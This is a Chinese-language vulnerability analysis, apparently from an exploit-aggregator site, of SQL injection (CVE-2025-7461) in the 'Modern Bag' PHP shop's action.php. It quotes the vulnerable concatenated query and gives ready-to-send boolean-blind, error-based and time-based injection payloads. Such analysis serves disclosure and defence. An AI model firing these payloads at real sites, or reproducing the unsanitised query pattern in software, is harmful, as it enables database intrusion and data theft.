## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BX33661-CVE-2025-7461
# Modern Bag 电商系统 SQL 注入漏洞分析 (CVE-2025-7461)
🌐 **Language / 语言** : English | **简体中文**
* * *
## 漏洞概览
漏洞库: https://vuldb.com/?id.316112
项目地址: https://code-projects.org/modern-bag-in-php-css-javascript-and-mysql-free-download/
项目| 内容
---|---
**产品名称**| Modern Bag 电商系统
**版本**| V1.0
**漏洞类型**| SQL 注入 (Boolean-based blind, Error-based, Time-based blind)
**受影响文件**| `/action.php`
**危险等级**| 中危
**CVSS 3.1 评分**| **6.9**
## 漏洞详细分析
### 漏洞位置
**主要漏洞点:** `action.php` 第 272-289 行
root@kitploit:~
// 漏洞点
if (isset($_POST["addToProduct"])) {
if (isset($_SESSION["uid"])) {
$p_id = $_POST["proId"]; // 直接获取用户输入
$user_id = $_SESSION["uid"];
// 直接拼接到 SQL 查询中,未进行任何过滤
$sql = "SELECT * FROM cart WHERE p_id = '$p_id' AND user_id = '$user_id'";
$run_query = mysqli_query($con, $sql);
$count = mysqli_num_rows($run_query);
// ... 后续代码
}
}
### 🔬 漏洞成因分析
#### **缺乏输入验证**
root@kitploit:~
$p_id = $_POST["proId"];
#### **字符串拼接构造 SQL**
root@kitploit:~
$sql = "SELECT * FROM cart WHERE p_id = '$p_id' AND user_id = '$user_id'";
#### **缺乏错误处理**
root@kitploit:~
$run_query = mysqli_query($con, $sql)
or die(mysqli_error($con)); // ❌ 直接暴露数据库错误
## 攻击分析
#### 1\. **Boolean-based Blind SQL 注入**
root@kitploit:~
POST /action.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
addToProduct=1&proId=1' RLIKE (SELECT (CASE WHEN (7142=7142) THEN 1 ELSE 0x28 END))-- jeVr
**攻击原理:**
root@kitploit:~
-- 构造的 SQL 查询
SELECT * FROM cart WHERE p_id = '1' RLIKE (SELECT (CASE WHEN (7142=7142) THEN 1 ELSE 0x28 END))-- jeVr' AND user_id = '1'
-- 实际执行的查询
SELECT * FROM cart WHERE p_id = '1' RLIKE (SELECT (CASE WHEN (7142=7142) THEN 1 ELSE 0x28 END))-- jeVr
#### 2\. **Error-based SQL 注入**
root@kitploit:~
POST /action.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
addToProduct=1&proId=1' OR (SELECT 7784 FROM(SELECT COUNT(*),CONCAT(0x716a716271,(SELECT (ELT(7784=7784,1))),0x717a6b7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- yVDw
#### 3\. **Time-based Blind SQL 注入**
root@kitploit:~
POST /action.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
addToProduct=1&proId=1' AND (SELECT 9674 FROM (SELECT(SLEEP(5)))YLuC)-- ZZFJ